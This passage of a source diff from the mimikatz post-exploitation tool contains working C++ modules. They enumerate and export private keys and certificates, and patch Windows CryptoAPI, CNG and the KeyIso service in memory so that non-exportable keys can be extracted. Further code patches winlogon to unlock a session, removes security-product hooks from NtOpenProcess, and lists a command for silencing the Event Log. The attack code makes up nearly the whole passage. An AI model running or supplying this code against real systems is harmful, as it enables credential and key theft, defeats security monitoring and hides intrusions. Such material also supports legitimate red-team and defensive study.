bool succesLecture = false, succesPattern = false;
do
{
PBYTE funkyDiff = reinterpret_cast<PBYTE>(addrPattern - (autreAddr + offsetAddrInMask + 4));
RtlCopyMemory(monMask+offsetAddrInMask, reinterpret_cast<PBYTE>(&funkyDiff), 4);
succesLecture = readMemory(autreAddr, monTab, longueurMask);
succesPattern = memcmp(monTab, monMask, longueurMask) == 0;
autreAddr+=offset;
} while(!succesPattern && succesLecture);
delete[] monMask;
if(succesPattern && succesLecture)
{
*addressePattern = autreAddr-offset;
return true;
}
else return false;
}*/

View File

@ -0,0 +1,22 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include <psapi.h>
class mod_memory
{
public:
static bool readMemory(const void * adresseBase, void * adresseDestination, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE);
static bool writeMemory(void * adresseBase, const void * adresseSource, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE);
static bool searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE);
static bool searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE);
static bool genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc = NULL, bool enAvant = true, bool noPtr = false);
/*static bool WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset = 1); // et merde je la documente pas celle là !*/
};

View File

@ -0,0 +1,593 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_crypto.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_crypto::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listProviders, L"listProviders", L"Liste les providers installés)"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listStores, L"listStores", L"Liste les magasins système"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listCertificates, L"listCertificates", L"Liste les certificats"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listKeys, L"listKeys", L"Liste les conteneurs de clés"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportCertificates, L"exportCertificates", L"Exporte les certificats"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportKeys, L"exportKeys", L"Exporte les clés"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcng, L"patchcng", L"[experimental] Patch le gestionnaire de clés pour l\'export de clés non exportable"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcapi, L"patchcapi", L"[experimental] Patch la CryptoAPI courante pour l\'export de clés non exportable"));
return monVector;
}
bool mod_mimikatz_crypto::listProviders(vector<wstring> * arguments)
{
vector<wstring> * monVectorProviders = new vector<wstring>();
/* CryptoAPI */
wcout << L"Providers CryptoAPI :" << endl;
if(mod_cryptoapi::getVectorProviders(monVectorProviders))
for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++)
wcout << L'\t' << *monProvider << endl;
else wcout << L"mod_cryptoapi::getVectorProviders : " << mod_system::getWinError() << endl;
/* CryptoNG */
if(mod_cryptong::isNcrypt)
{
wcout << endl;
monVectorProviders->clear();
wcout << L"Providers CNG :" << endl;
if(mod_cryptong::getVectorProviders(monVectorProviders))
for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++)
wcout << L'\t' << *monProvider << endl;
else wcout << L"mod_cryptong::getVectorProviders : " << mod_system::getWinError() << endl;
}
delete monVectorProviders;
return true;
}
bool mod_mimikatz_crypto::listKeys(vector<wstring> * arguments)
{
listAndOrExportKeys(arguments, false);
return true;
}
bool mod_mimikatz_crypto::exportKeys(vector<wstring> * arguments)
{
listAndOrExportKeys(arguments, true);
return true;
}
bool mod_mimikatz_crypto::listStores(vector<wstring> * arguments)
{
wstring monEmplacement = (arguments->empty() ? L"CERT_SYSTEM_STORE_CURRENT_USER" : arguments->front());
wcout << L"Emplacement : \'" << monEmplacement << L'\'';
DWORD systemStore;
if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore))
{
wcout << endl;
vector<wstring> * mesStores = new vector<wstring>();
if(mod_crypto::getVectorSystemStores(mesStores, systemStore))
for(vector<wstring>::iterator monStore = mesStores->begin(); monStore != mesStores->end(); monStore++)
wcout << L'\t' << *monStore << endl;
else wcout << L"mod_crypto::getListSystemStores : " << mod_system::getWinError() << endl;
delete mesStores;
}
else wcout << L" introuvable !" << endl;
return true;
}
bool mod_mimikatz_crypto::listCertificates(vector<wstring> * arguments)
{
listAndOrExportCertificates(arguments, false);
return true;
}
bool mod_mimikatz_crypto::exportCertificates(vector<wstring> * arguments)
{
listAndOrExportCertificates(arguments, true);
return true;
}
void mod_mimikatz_crypto::listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys)
{
bool isMachine = false;
DWORD providerType = PROV_RSA_FULL;
wstring provider = MS_ENHANCED_PROV;
switch (arguments->size())
{
case 1:
isMachine = true;
case 0:
break;
case 3:
isMachine = true;
arguments->erase(arguments->begin());
case 2:
mod_cryptoapi::getProviderString(arguments->front(), &provider);
mod_cryptoapi::getProviderTypeFromString(arguments->back(), &providerType);
break;
default :
wcout << L"Erreur d\'arguments, attendu : [machine] [provider providerType]" << endl;
return;
}
wstring type = (isMachine ? L"machine" : L"user");
vector<wstring> * monVectorKeys = new vector<wstring>();
/* CryptoAPI */
wcout << L"[" << type << L"] Clés CryptoAPI :" << endl;
if(mod_cryptoapi::getVectorContainers(monVectorKeys, isMachine))
{
DWORD i;
vector<wstring>::iterator monContainer;
for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++)
{
wcout << L"\t - " << *monContainer << endl;
HCRYPTPROV hCryptKeyProv = NULL;
if(CryptAcquireContext(&hCryptKeyProv, monContainer->c_str(), provider.c_str(), providerType, NULL | (isMachine ? CRYPT_MACHINE_KEYSET : NULL)))
{
HCRYPTKEY maCle = NULL;
for(DWORD ks = AT_KEYEXCHANGE; (ks <= AT_SIGNATURE) && !maCle; ks++)
{
if(CryptGetUserKey(hCryptKeyProv, ks, &maCle))
{
wcout << L"\t\tType : " << mod_crypto::KeyTypeToString(ks) << endl;
DWORD param = 0, taille = sizeof(param);
if(CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(&param), &taille, NULL))
wcout << L"\t\tExportabilité : " << (param & CRYPT_EXPORT ? L"OUI" : L"NON") << endl;
if(CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(&param), &taille, NULL))
wcout << L"\t\tTaille clé : " << param << endl;
if(exportKeys)
{
bool reussite = false;
BYTE * monExport = NULL;
DWORD tailleExport = 0;
wstringstream monBuff;
wstring containerName = *monContainer;
sanitizeFileName(&containerName);
monBuff << L"capi_" << type << L'_' << i << L'_' << containerName << L".pvk";
if(mod_cryptoapi::getPrivateKey(maCle, &monExport, &tailleExport))
{
reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str(), ks);
delete[] monExport;
}
wcout << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
if(!reussite)
{
wcout << L"\t\t\tmod_cryptoapi::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl;
}
}
}
}
if(maCle)
CryptDestroyKey(maCle);
else
wcout << L"\t\t* Erreur de clé ; " << mod_system::getWinError() << endl;
CryptReleaseContext(hCryptKeyProv, 0);
}
else wcout << L"\t\t* Erreur d\'acquisition de la clé ; " << mod_system::getWinError() << endl;
}
}
else wcout << L"mod_cryptoapi::getVectorContainers : " << mod_system::getWinError() << endl;
/* CryptoNG */
if(mod_cryptong::isNcrypt)
{
wcout << endl;
monVectorKeys->clear();
wcout << L"[" << type << L"] Clés CNG :" << endl;
if(mod_cryptong::getVectorContainers(monVectorKeys, isMachine))
{
DWORD i;
vector<wstring>::iterator monContainer;
for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++)
{
wcout << L"\t - " << *monContainer << endl;
NCRYPT_KEY_HANDLE maCle;
if(mod_cryptong::getHKeyFromName(*monContainer, &maCle, isMachine))
{
bool exportable = false;
DWORD size = 0;
if(mod_cryptong::isKeyExportable(&maCle, &exportable))
wcout << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl;
if(mod_cryptong::getKeySize(&maCle, &size))
wcout << L"\t\tTaille clé : " << size << endl;
if(exportKeys)
{
bool reussite = false;
BYTE * monExport = NULL;
DWORD tailleExport = 0;
wstringstream monBuff;
monBuff << L"cng_" << type << L'_' << i << L'_' << *monContainer << L".pvk";
if(mod_cryptong::getPrivateKey(maCle, &monExport, &tailleExport))
{
reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str());
delete[] monExport;
}
wcout << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
if(!reussite)
{
wcout << L"\t\t\tmod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl;
}
}
mod_cryptong::NCryptFreeObject(maCle);
}
}
}
else wcout << L"mod_cryptong::getVectorContainers : " << mod_system::getWinError() << endl;
}
delete monVectorKeys;
}
void mod_mimikatz_crypto::listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert)
{
wstring monEmplacement = L"CERT_SYSTEM_STORE_CURRENT_USER";
wstring monStore = L"My";
if(arguments->size() == 1)
{
monEmplacement = arguments->front();
}
else if(arguments->size() == 2)
{
monEmplacement = arguments->front();
monStore = arguments->back();
}
wcout << L"Emplacement : \'" << monEmplacement << L'\'';
DWORD systemStore;
if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore))
{
wcout << L"\\" << monStore << endl;
if(HCERTSTORE hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, NULL, NULL, systemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, monStore.c_str()))
{
DWORD i;
PCCERT_CONTEXT pCertContext;
for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++)
{
wstring * certName = new wstring();
bool reussite = false;
if(!mod_crypto::getCertNameFromCertCTX(pCertContext, certName))
certName->assign(L"[empty]");
wcout << L"\t - " << *certName << endl;;
sanitizeFileName(certName);
wstringstream monBuff;
monBuff << monEmplacement << L'_' << monStore << L'_' << i << L'_' << *certName << L'.';
mod_crypto::KIWI_KEY_PROV_INFO keyProvInfo;
if(mod_crypto::getKiwiKeyProvInfo(pCertContext, &keyProvInfo))
{
wcout << L"\t\tContainer Clé : " << keyProvInfo.pwszContainerName << endl;
wcout << L"\t\tProvider : " << keyProvInfo.pwszProvName << endl;
HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv = NULL;
DWORD keySpec = 0;
BOOL aFermer = false;
if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &aFermer))
{
wcout << L"\t\tType : " << mod_crypto::KeyTypeToString(keySpec) << endl;
DWORD size = 0;
bool exportable = false;
if(keySpec == CERT_NCRYPT_KEY_SPEC)
{
if(mod_cryptong::isNcrypt)
{
reussite = mod_cryptong::getKeySize(&monProv, &size);
reussite &=mod_cryptong::isKeyExportable(&monProv, &exportable);
if(aFermer)
{
mod_cryptong::NCryptFreeObject(monProv);
}
}
else wcout << L"\t\t\tErreur : Clé de type nCrypt, sans nCrypt ?" << endl;
}
else
{
DWORD tailleEcrite = 0;
DWORD exportability;
HCRYPTKEY maCle = NULL;
if(reussite = (CryptGetUserKey(monProv, keySpec, &maCle) != 0))
{
tailleEcrite = sizeof(DWORD);
reussite = (CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(&size), &tailleEcrite, NULL) != 0);
tailleEcrite = sizeof(DWORD);
reussite &= (CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(&exportability), &tailleEcrite, NULL) != 0);
exportable = (exportability & CRYPT_EXPORT) != 0;
}
if(aFermer)
{
CryptReleaseContext(monProv, 0);
}
}
if(reussite)
{
wcout << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl;
wcout << L"\t\tTaille clé : " << size << endl;
}
if(exportCert)
{
wstring PFXFile = monBuff.str();
PFXFile.append(L"pfx");
reussite = mod_crypto::CertCTXtoPFX(pCertContext, PFXFile, L"mimikatz");
wcout << L"\t\tExport privé dans \'" << PFXFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
if(!reussite)
{
wcout << L"\t\t\t" << mod_system::getWinError() << endl;
}
}
}
else wcout << L"CryptAcquireCertificatePrivateKey : " << mod_system::getWinError() << endl;
}
if(exportCert)
{
wstring DERFile = monBuff.str();
DERFile.append(L"der");
reussite = mod_crypto::CertCTXtoDER(pCertContext, DERFile);
wcout << L"\t\tExport public dans \'" << DERFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
if(!reussite)
{
wcout << L"\t\t\t" << mod_system::getWinError() << endl;
}
}
delete certName;
}
CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG);
}
else wcout << L"CertOpenStore : " << mod_system::getWinError() << endl;
}
else wcout << L" introuvable !" << endl;
}
bool mod_mimikatz_crypto::patchcapi(vector<wstring> * arguments)
{
wchar_t LIBNAME_WALL_RSA[] = L"rsaenh.dll";
char FUNCNAM_WALL_EXPORT[] = "CPExportKey";
#ifdef _M_X64
BYTE PTRN_WIN5_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x75};
BYTE PTRN_WIN5_CPExportKey_4000[] = {0x0c, 0x0e, 0x72};
BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb};
LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -4;
LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -5;
BYTE PTRN_W6AL_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85};
BYTE PTRN_WIN6_CPExportKey_4000[] = {0x0c, 0x0e, 0x0f, 0x82};
BYTE PTRN_WIN8_CPExportKey_4000[] = {0x0c, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85};
BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9};
LONG OFFS_W6AL_CPExportKey_EXPORT = 5;
LONG OFFS_WIN6_CPExportKey_4000_EXPORT = 2;
#elif defined _M_IX86
BYTE PTRN_WIN5_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x75};
BYTE PTRN_WIN5_CPExportKey_4000[] = {0x09, 0x40, 0x0f, 0x84};
BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb};
LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -5;
LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -7;
BYTE PTRN_WI60_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x0f, 0x85};
BYTE PTRN_WIN6_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85};
BYTE PTRN_WI60_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x0f, 0x85};
BYTE PTRN_WIN6_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85};
BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9};
LONG OFFS_WI60_CPExportKey_EXPORT = 3;
LONG OFFS_WIN6_CPExportKey_EXPORT = 5;
#endif
PBYTE ptr4001 = NULL; PBYTE pattern4001 = NULL; ULONG taillePattern4001 = 0; PBYTE patch4001 = NULL; ULONG taillePatch4001 = 0; LONG offsetPatch4001 = 0;
PBYTE ptr4000 = NULL; PBYTE pattern4000 = NULL; ULONG taillePattern4000 = 0; PBYTE patch4000 = NULL; ULONG taillePatch4000 = 0; LONG offsetPatch4000 = 0;
if(mod_system::GLOB_Version.dwMajorVersion < 6)
{
pattern4001 = PTRN_WIN5_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN5_CPExportKey_4001);
pattern4000 = PTRN_WIN5_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN5_CPExportKey_4000);
patch4001 = patch4000 = PATC_WIN5_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_WIN5_CPExportKey_EXPORT);
offsetPatch4001 = OFFS_WIN5_CPExportKey_4001_EXPORT;
offsetPatch4000 = OFFS_WIN5_CPExportKey_4000_EXPORT;
}
else
{
#ifdef _M_X64
pattern4001 = PTRN_W6AL_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_W6AL_CPExportKey_4001);
patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT);
offsetPatch4001 = OFFS_W6AL_CPExportKey_EXPORT;
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
{
pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000);
offsetPatch4000 = OFFS_WIN6_CPExportKey_4000_EXPORT;
}
else
{
pattern4000 = PTRN_WIN8_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN8_CPExportKey_4000);
offsetPatch4000 = OFFS_W6AL_CPExportKey_EXPORT;
}
#elif defined _M_IX86
patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT);
if(mod_system::GLOB_Version.dwMinorVersion < 1)
{
pattern4001 = PTRN_WI60_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WI60_CPExportKey_4001);
pattern4000 = PTRN_WI60_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WI60_CPExportKey_4000);
offsetPatch4001 = offsetPatch4000 = OFFS_WI60_CPExportKey_EXPORT;
}
else
{
pattern4001 = PTRN_WIN6_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN6_CPExportKey_4001);
pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000);
offsetPatch4001 = offsetPatch4000 = OFFS_WIN6_CPExportKey_EXPORT;
}
#endif
}
if(HMODULE hRSA = LoadLibrary(LIBNAME_WALL_RSA))
{
if( mod_memory::genericPatternSearch(&ptr4001, LIBNAME_WALL_RSA, pattern4001, taillePattern4001, offsetPatch4001, FUNCNAM_WALL_EXPORT, true, true) &&
mod_memory::genericPatternSearch(&ptr4000, LIBNAME_WALL_RSA, pattern4000, taillePattern4000, offsetPatch4000, FUNCNAM_WALL_EXPORT, true, true))
{
wcout << L"Patterns CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE et CRYPT_ARCHIVABLE trouvés !" << endl <<
L"Patch CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4001, patch4001, taillePatch4001) ? L"OK" : L"KO") << endl <<
L"Patch CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4000, patch4000, taillePatch4000) ? L"OK" : L"KO") << endl;
}
FreeLibrary(hRSA);
}
return true;
}
bool mod_mimikatz_crypto::patchcng(vector<wstring> * arguments)
{
wchar_t LIBNAME_WNO8_NCrypt[] = L"ncrypt.dll";
wchar_t LIBNAME_WIN8_NCrypt[] = L"ncryptprov.dll";
#ifdef _M_X64
BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75};
BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x43, 0x24, 0x02, 0x75};
BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85};
BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9};
BYTE PATC_WI60_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
BYTE PATC_WALL_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
#elif defined _M_IX86
BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75};
BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x47, 0x1c, 0x02, 0x75};
BYTE PATC_WNO8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
BYTE PATC_WIN8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
#endif
BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb};
LONG OFFS_WALL_SPCryptExportKey_EXPORT = 4;
if(mod_cryptong::isNcrypt)
{
if(mod_cryptong::justInitCNG())
{
wchar_t * libName; PBYTE pattern = NULL; ULONG taillePattern = 0; PBYTE patch = NULL; ULONG taillePatch = 0; LONG offsetPatch = 0;
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
{
#ifdef _M_X64
if(mod_system::GLOB_Version.dwMinorVersion < 1)
{
pattern = PTRN_WI60_SPCryptExportKey;
taillePattern = sizeof(PTRN_WI60_SPCryptExportKey);
}
else
{
#endif
pattern = PTRN_WNO8_SPCryptExportKey;
taillePattern = sizeof(PTRN_WNO8_SPCryptExportKey);
#ifdef _M_X64
}
#endif
libName = LIBNAME_WNO8_NCrypt;
}
else
{
pattern = PTRN_WIN8_SPCryptExportKey;
taillePattern = sizeof(PTRN_WIN8_SPCryptExportKey);
libName = LIBNAME_WIN8_NCrypt;
}
if(arguments->empty())
{
#ifdef _M_X64
if(mod_system::GLOB_Version.dwMinorVersion < 1)
{
patch = PATC_WI60_SPCryptExportKey_EXPORT;
taillePatch = sizeof(PATC_WI60_SPCryptExportKey_EXPORT);
}
else
{
#endif
patch = PATC_WALL_SPCryptExportKey_EXPORT;
taillePatch = sizeof(PATC_WALL_SPCryptExportKey_EXPORT);
#ifdef _M_X64
}
#endif
}
else
{
#ifdef _M_X64
if(mod_system::GLOB_Version.dwMinorVersion < 1)
{
patch = PATC_WI60_SPCryptExportKey_NOEXPORT;
taillePatch = sizeof(PATC_WI60_SPCryptExportKey_NOEXPORT);
}
else
{
patch = PATC_WALL_SPCryptExportKey_NOEXPORT;
taillePatch = sizeof(PATC_WALL_SPCryptExportKey_NOEXPORT);
}
#elif defined _M_IX86
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
{
patch = PATC_WNO8_SPCryptExportKey_NOEXPORT;
taillePatch = sizeof(PATC_WNO8_SPCryptExportKey_NOEXPORT);
}
else
{
patch = PATC_WIN8_SPCryptExportKey_NOEXPORT;
taillePatch = sizeof(PATC_WIN8_SPCryptExportKey_NOEXPORT);
}
#endif
}
offsetPatch = OFFS_WALL_SPCryptExportKey_EXPORT;
mod_patch::patchModuleOfService(L"KeyIso", libName, pattern, taillePattern, patch, taillePatch, offsetPatch);
}
else wcout << L"Impossible d\'initialiser la CNG : " << mod_system::getWinError() << endl;
}
else wcout << L"Pas de CNG ?" << endl;
return true;
}
void mod_mimikatz_crypto::sanitizeFileName(wstring * fileName)
{
wchar_t monTab[] = {L'\\', L'/', L':', L'*', L'?', L'\"', L'<', L'>', L'|'};
for(wstring::iterator monIterateur = fileName->begin(); monIterateur != fileName->end(); monIterateur++)
{
for(ULONG i = 0; i < sizeof(monTab) / sizeof(wchar_t); i++)
{
if(*monIterateur == monTab[i])
{
*monIterateur = L'~';
break;
}
}
}
}

View File

@ -0,0 +1,35 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_cryptoapi.h"
#include "mod_cryptong.h"
#include "mod_crypto.h"
#include "mod_process.h"
#include "mod_patch.h"
#include <iostream>
#include <sstream>
class mod_mimikatz_crypto
{
private:
static void sanitizeFileName(wstring * fileName);
static void listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert = false);
static void listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys = false);
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool listProviders(vector<wstring> * arguments);
static bool listStores(vector<wstring> * arguments);
static bool listKeys(vector<wstring> * arguments);
static bool listCertificates(vector<wstring> * arguments);
static bool exportCertificates(vector<wstring> * arguments);
static bool exportKeys(vector<wstring> * arguments);
static bool patchcapi(vector<wstring> * arguments);
static bool patchcng(vector<wstring> * arguments);
};

View File

@ -0,0 +1,306 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_divers.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_divers::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(noroutemon, L"noroutemon", L"[experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(eventdrop, L"eventdrop", L"[super experimental] Patch l\'observateur d\'événements pour ne plus rien enregistrer"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cancelator, L"cancelator", L"Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(secrets, L"secrets", L"Affiche les secrets utilisateur"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nodetour, L":nodetour", L"Anti-détours SR"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pitme, L":pitme", L"Déchiffre les fichiers PIT (Quest vWorkspace Client)"));
return monVector;
}
bool mod_mimikatz_divers::nodetour(vector<wstring> * arguments)
{
vector<mod_patch::OS> mesOS;
mesOS.push_back(mod_patch::WINDOWS_2003_____x64);
mesOS.push_back(mod_patch::WINDOWS_VISTA____x64);
mesOS.push_back(mod_patch::WINDOWS_2008_____x64);
mesOS.push_back(mod_patch::WINDOWS_SEVEN____x64);
mesOS.push_back(mod_patch::WINDOWS_2008r2___x64);
if(mod_patch::checkVersion(&mesOS))
{
BYTE monSysEnterRetn[] = {0x0f, 0x05, 0xc3};
BYTE monDetouredStub[] = {0x90, 0x90, 0xe9};
PBYTE monNTDLLptr = reinterpret_cast<PBYTE>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenProcess"));
if(memcmp(monNTDLLptr + 8, monDetouredStub, sizeof(monDetouredStub)) == 0)
{
wcout << L"Détour trouvé et ";
if(mod_memory::writeMemory(monNTDLLptr + 8 + sizeof(monDetouredStub) + sizeof(LONG) + *reinterpret_cast<PLONG>(monNTDLLptr + 8 + sizeof(monDetouredStub)), monSysEnterRetn, sizeof(monSysEnterRetn)))
wcout << L"patché :)";
else
wcout << L"NON patché :(";
wcout << endl;
}
else
wcout << L"Détour non trouvé" << endl;
}
return true;
}
bool mod_mimikatz_divers::cancelator(vector<wstring> * arguments)
{
vector<mod_patch::OS> mesOS;
mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86);
mesOS.push_back(mod_patch::WINDOWS_2003_____x86);
if(mod_patch::checkVersion(&mesOS))
{
BYTE patternCMPJMP[] = {0xff, 0xff, 0xff, 0x83, 0xff, 0x02, 0x0f, 0x84};
BYTE patternNOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
long offsetCibleNOP = 3;
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcesses = new vector<mod_process::KIWI_PROCESSENTRY32>();
wstring processName = L"winlogon.exe";
if(mod_process::getList(mesProcesses, &processName))
{
for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator leProcess = mesProcesses->begin(); leProcess != mesProcesses->end(); leProcess++)
{
mod_patch::patchModuleOfPID(leProcess->th32ProcessID, L"", patternCMPJMP, sizeof(patternCMPJMP), patternNOP, sizeof(patternNOP), offsetCibleNOP);
}
}
delete mesProcesses;
}
return true;
}
bool mod_mimikatz_divers::noroutemon(vector<wstring> * arguments)
{
//BYTE patternTestRouteMon[] = {0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9
